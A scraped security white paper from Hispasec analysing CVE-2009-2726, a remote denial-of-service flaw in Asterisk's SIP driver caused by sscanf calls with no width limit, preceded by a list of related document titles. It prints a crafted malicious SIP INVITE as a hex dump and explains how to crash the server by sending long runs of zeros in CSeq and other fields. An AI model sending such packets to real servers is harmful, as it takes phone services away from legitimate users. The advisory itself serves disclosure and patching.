White paper: Asterisk SIP Channel Driver 'scanf' Multiple DoS August 2009



Similar documents
3.1 SESSION INITIATION PROTOCOL (SIP) OVERVIEW

The VoIP Vulnerability Scanner

Voice over IP (SIP) Milan Milinković

TSIN02 - Internetworking

How to make free phone calls and influence people by the grugq

SIP: Protocol Overview

Denial of Services on SIP VoIP infrastructures

How To Understand The Purpose Of A Sip Aware Firewall/Alg (Sip) With An Alg (Sip) And An Algen (S Ip) (Alg) (Siph) (Network) (Ip) (Lib

FOSDEM 2007 Brussels, Belgium. Daniel Pocock B.CompSc(Melbourne)

internet technologies and standards

802.11: Mobility Within Same Subnet

Firefox, Opera, Safari for Windows BMP file handling information leak. September Discovered by: Mateusz j00ru Jurczyk, Hispasec Labs

Objectives of Lecture. Network Architecture. Protocols. Contents

An outline of the security threats that face SIP based VoIP and other real-time applications

Basic Vulnerability Issues for SIP Security

Unregister Attacks in SIP

Black Hat Briefings 2007 Las Vegas. White Paper on Vulnerabilities in Dual-mode/Wi-Fi Phones

Lecture 2-ter. 2. A communication example Managing a HTTP v1.0 connection. G.Bianchi, G.Neglia, V.Mancuso

8.2 The Internet Protocol

VoIP Phreaking Introduction to SIP Hacking. Hendrik Scholz 22C3, Berlin, Germany

Application Note. Firewall Requirements for the Onsight Mobile Collaboration System and Hosted Librestream SIP Service v5.0

Firewall Implementation

SECURING APACHE : DOS & DDOS ATTACKS - I

Contents. Specialty Answering Service. All rights reserved.

Chapter 8 Security Pt 2

Attacking VoIP Networks

SIP Protocol as a Communication Bus to Control Embedded Devices

VoIP and IP Telephony

Introduction to Analyzer and the ARP protocol

A Comparative Study of Signalling Protocols Used In VoIP

Vulnerability Scan. January 6, 2015

IP Office Technical Tip

Stateful Firewalls. Hank and Foo

Unit 23. RTP, VoIP. Shyam Parekh

CS 356 Lecture 16 Denial of Service. Spring 2013

Internet, Part 2. 1) Session Initiating Protocol (SIP) 2) Quality of Service (QoS) support. 3) Mobility aspects (terminal vs. personal mobility)

EE4607 Session Initiation Protocol

SSA : Multiple Vulnerabilities in WinCC flexible and WinCC V11 (TIA Portal)

VoIP Security Methodology and Results. NGS Software Ltd

Technical Configuration Notes

VoIP LAB. 陳 懷 恩 博 士 助 理 教 授 兼 所 長 國 立 宜 蘭 大 學 資 訊 工 程 研 究 所 TEL: # 255

TCP/IP Networking, Part 2: Web-Based Control

Network Security. Chapter 3. Cornelius Diekmann. Version: October 21, Lehrstuhl für Netzarchitekturen und Netzdienste Institut für Informatik

point to point and point to multi point calls over IP

Session Initiation Protocol (SIP) The Emerging System in IP Telephony

Request for Comments: August 2006

Survey on DDoS Attack in Cloud Environment

SIP Session Initiation Protocol

FIREWALLS. Firewall: isolates organization s internal net from larger Internet, allowing some packets to pass, blocking others

Network Layer IPv4. Dr. Sanjay P. Ahuja, Ph.D. Fidelity National Financial Distinguished Professor of CIS. School of Computing, UNF

SIP Stack Fingerprinting and Stack Difference Attacks

Multimedia & Protocols in the Internet - Introduction to SIP

An Introduction to VoIP Protocols

Anat Bremler-Barr Ronit Halachmi-Bekel Jussi Kangasharju Interdisciplinary center Herzliya Darmstadt University of Technology

PAN-OS Syslog Integration

Monitoring SIP Traffic Using Support Vector Machines

A Model-based Methodology for Developing Secure VoIP Systems

HOST AUTO CONFIGURATION (BOOTP, DHCP)

Arbor Networks DDoS Solutions. Alex Lopez

Session Initiation Protocol (SIP) 陳 懷 恩 博 士 助 理 教 授 兼 計 算 機 中 心 資 訊 網 路 組 組 長 國 立 宜 蘭 大 學 資 工 系 TEL: # 340

Evaluation of SIP Call-Feature Signaling for Usability in Voice Communication Systems

ATTACKS ON CLOUD COMPUTING. Nadra Waheed

Workshop on Network Traffic Capturing and Analysis IITG, DIT, CERT-In, C-DAC. Host based Analysis. {Himanshu Pareek,

Next Generation IPv6 Network Security a Practical Approach Is Your Firewall Ready for Voice over IPv6?

Application Note: AN00121 Using XMOS TCP/IP Library for UDP-based Networking

Passive Network Traffic Analysis: Understanding a Network Through Passive Monitoring Kevin Timm,

SSDP REFLECTION DDOS ATTACKS

Chapter 8 Network Security

What is a DoS attack?

EE984 Laboratory Experiment 2: Protocol Analysis

CSE 127: Computer Security. Network Security. Kirill Levchenko

Voice & Video. Conference Calls 4/43

VoIP with SIP. Session Initiation Protocol RFC-3261/RFC

VIDEOCONFERENCING. Video class

Secured Communications using Linphone & Flexisip

Solution of Exercise Sheet 5

Voice-Over-IP. Daniel Zappala. CS 460 Computer Networking Brigham Young University

TECHNICAL SUPPORT NOTE. 3-Way Call Conferencing with Broadsoft - TA900 Series

Application Note. Onsight Connect Network Requirements V6.1

Network and Services Discovery

A Brief Overview of VoIP Security. By John McCarron. Voice of Internet Protocol is the next generation telecommunications method.

Environmental Policy

Secure VoIP Transmission through VPN Utilization

Aculab digital network access cards

Course Overview: Learn the essential skills needed to set up, configure, support, and troubleshoot your TCP/IP-based network.

Grandstream Networks, Inc.

Characterization and Analysis of NTP Amplification Based DDoS Attacks

Session Announcement (SAP, RFC 2974) Session Description (SDP, RFC 2327) (SDP, draft-ietf-mmusic-sdp-new-11)

Slide 1 Introduction cnds@napier 1 Lecture 6 (Network Layer)

Virtual private network. Network security protocols VPN VPN. Instead of a dedicated data link Packets securely sent over a shared network Internet VPN

Network Programming. Writing network and internet applications.

Denial Of Service. Types of attacks

Voice over IP phone Software Design. Software Engineering Project University of Oulu 2004

Appendix. Web Command Error Codes. Web Command Error Codes

NAT and Firewall Traversal. VoIP and MultiMedia /77

Exploiting nginx chunked overflow bug, the undisclosed attack vector

Transcription:

White paper: Asterisk SIP Channel Driver 'scanf' Multiple DoS August 2009 Hugo Teso, Hispasec Lab

HISPASEC SISTEMAS Y TECNOLOGÍAS DE SEGURIDAD LA INFORMACIÓN Y TECNOLOGÍAS Index 1 INTRODUCTION 3 2 DESCRIPTION 3 3 PROOF OF CONCEPT 6 4 SOLUTION 6 Hispasec Sistemas S.L. Avda Juan López Peñalver, 17 Edificio Centro de Empresas CEPTA Parque Tecnológico de Andalucía 29590 Campanillas (Málaga) Telf: (+34) 902 161 025 Fax: (+34) 952 028 694 Información General info@hispasec.com Comercial comercial@hispasec.com Copyright El Copyright de este documento es propiedad de Hispasec Sistemas S.L. Hispasec Sistemas S.L. proporciona este documento bajo la condición de que será tratado con confidencialidad. No está permitida su reproducción total o parcial ni su uso con otras organizaciones para ningún otro propósito, excepto autorización previa por escrito. 2

1 Introduction Asterisk is prone to multiple remote denial-of-service vulnerabilities. Successful exploits can crash the SIP channel driver, resulting in denial-of-service conditions for legitimate users. On certain implementations of libc, the scanf family of functions uses an unbounded amount of stack memory to repeatedly allocate string buffers prior to conversion to the target type. Coupled with Asterisk's allocation of thread stack sizes that are smaller than the default, an attacker may exhaust stack memory in the SIP stack network thread by presenting excessively long numeric strings in various fields. 2 Description Product: Asterisk Type: Remote Denial of Service Severity: High CVE: CVE-2009-2726 The Mu Dynamics Research team has found several vulnerabilities stemming from unsafe use of the sscanf C standard library function. Reads data from str and stores them according to the parameter format into the locations given by the additional arguments. Locations pointed by each additional argument are filled with their corresponding type of value specified in the format string. int sscanf(const char *string, const char *format,...); The sscanf function is used in several places in Asterisk source code for parsing numeric values from ASCII text in incoming SIP messages. The Session Initiation Protocol (SIP) is a signalling protocol, widely used for controlling multimedia communication sessions such as voice and video calls over Internet Protocol (IP). Other feasible application examples include video conferencing, streaming multimedia distribution, instant messaging, presence information and online games. SIP employs design elements similar to HTTP-like request/response transaction model. Each transaction consists of a client request that invokes a particular method or function on the server and at least one response. SIP reuses most of the header fields, encoding rules and status codes of HTTP, providing a readable text-based format. Wikipedia These calls to sscanf generally fail to specify a maximum width for the field being parsed. With no width specified, sscanf defaults to a maximum width of infinity. 3

E.g. the following sscanf call used to parse out the CSeq value from the SIP header is vulnerable (chan_sip.c, line 19578): if (!error && sscanf(cseq, "%d%n", &seqno, &len)!= 1) { A remote attacker can take advantage of this by crafting a SIP Invite message with a large number of ASCII decimal characters in a position where a numeric value is being parsed. Here you can see an example of a malicious SIP datagram that could end in a DoS situation: 0000 00 0c 29 00 00 00 00 50 56 00 00 00 08 00 45 00..).y$.P V...E. 0010 05 dc c0 c2 20 00 40 11 78 fa c0 a8 4d 02 c0 a8....@. x...m... 0020 4d 01 b7 9e 13 c4 83 0b 07 de 49 4e 56 49 54 45 M.....INVITE 0030 20 73 69 70 3a 62 6f 62 40 31 39 32 2e 31 36 38 sip:bob @192.168 0040 2e 37 37 2e 31 20 53 49 50 2f 32 2e 30 0d 0a 56.77.1 SI P/2.0..V 0050 69 61 3a 20 53 49 50 2f 32 2e 30 2f 55 44 50 20 ia: SIP/ 2.0/UDP 0060 31 39 32 2e 31 36 38 2e 37 37 2e 32 3a 34 37 30 192.168. 77.2:470 0070 30 36 3b 62 72 61 6e 63 68 3d 7a 39 68 47 34 62 06;branc h=z9hg4b 0080 4b 4e 44 66 34 77 6c 53 73 44 64 3b 72 70 6f 72 KNDf4wlS sdd;rpor 0090 74 0d 0a 54 6f 3a 20 22 42 6f 62 22 20 3c 73 69 t..to: " Bob" <si 00a0 70 3a 62 6f 62 40 31 39 32 2e 31 36 38 2e 37 37 p:bob@19 2.168.77 00b0 2e 31 3e 0d 0a 46 72 6f 6d 3a 20 22 41 6c 69 63 00c0 65 22 20 3c 73 69 70 3a 61 6c 69 63 65 40 31 39 00d0 32 2e 31 36 38 2e 37 37 2e 32 3e 3b 74 61 67 3d 00e0 63 48 43 47 73 38 4e 54 51 69 0d 0a 43 61 6c 6c 00f0 2d 49 44 3a 20 73 69 70 5f 69 6e 76 69 74 65 5f.1>..Fro m: "Alic e" <sip: alice@19 2.168.77.2>;tag= chcgs8nt Qi..Call -ID: sip _invite_ 0100 62 79 65 2e 69 6e 76 69 74 65 2e 68 65 61 64 65 bye.invi te.heade 0110 72 73 2e 63 2d 73 65 71 2e 76 61 6c 75 65 2e 73 rs.c-seq.value.s 0120 65 71 2e 70 72 65 70 65 6e 64 3a 30 2b 6e 72 69 eq.prepe nd:0+nri 0130 54 64 6c 7a 37 4d 78 40 6d 75 64 79 6e 61 6d 69 Tdlz7Mx@ mudynami 0140 63 73 2e 63 6f 6d 0d 0a 43 53 65 71 3a 20 30 30 cs.com.. CSeq: 00 0150 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 00000000 00000000... 05d0 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 00000000 00000000 05e0 30 30 30 30 30 30 30 30 30 30 00000000 00 That is the same datagram with all the fields shown separately: ###[ Ethernet ]### dst= 00:0c:29:00:00:00 src= 00:50:56:00:00:00 type= IPv4 ###[ IP ]### 4

version= 4L ihl= 5L tos= 0x0 len= 1500 id= 49346 flags= MF frag= 0L ttl= 64 proto= udp chksum= 0x78fa src= 192.168.77.2 dst= 192.168.77.1 options= '' ###[ UDP ]### ###[ Raw ]### sport= 47006 dport= sip len= 33547 chksum= 0x7de load= 'INVITE sip:bob@192.168.77.1 SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.77.2:47006;branch=z9hG4bKNDf4wlSsDd;rport\r\nTo: "Bob" <sip:bob@192.168.77.1>\r\nfrom: "Alice" <sip:alice@192.168.77.2>;tag=chcgs8ntqi\r\ncall- ID: sip_invite_bye.invite.headers.cseq.value.seq.prepend:0+nritdlz7mx@mudynamics.com\r\ncseq: 000000000000000000000000000000000000' If we study some of the patches for this vulnerability we can see that they only add max length checks to all the sscanf function calls: --- pbx/pbx_config.c (revision 211579) +++ pbx/pbx_config.c (revision 211580) @@ -947,7 +947,7 @@ - if (sscanf(prior, "%d", &iprior)!= 1) { + if (sscanf(prior, "%30d", &iprior)!= 1) { @@ -1486,7 +1486,7 @@ - } else if (sscanf(pri, "%d", &ipri)!= 1 && + } else if (sscanf(pri, "%30d", &ipri)!= 1 && 5

@@ -1639,9 +1639,9 @@ - if (sscanf(chan, "%d-%d", &start, &finish) == 2) { + if (sscanf(chan, "%30d-%30d", &start, &finish) == 2) { /* Range */ - } else if (sscanf(chan, "%d", &start)) { + } else if (sscanf(chan, "%30d", &start)) { 3 Proof of concept All necessary datagrams can be easily constructed and sent to check the effectiveness of this vulnerability by using the tool Sipsak (SIP swiss army knife), a packet crafter tool like Nemesis or Scapy but focused on SIP protocol. More information regarding this tool can be found at it s web: http://sipsak.org/ In order to reproduce the DoS attack it only necessary to send a SIP Invite with some of the vulnerable fields (Cseq, Content-Length or SDP) set to a very large number of ASCII Decimal characters (such as 32768 zeroes). 4 Solution Update to last Asterisk version: 1.2.34, 1.4.26.1, 1.6.0.12 y 1.6.1.4. More Information: Asterisk Project Security Advisory - AST-2009-005 Remote Crash Vulnerability in SIP channel driver http://downloads.asterisk.org/pub/security/ast-2009-005.html 6

7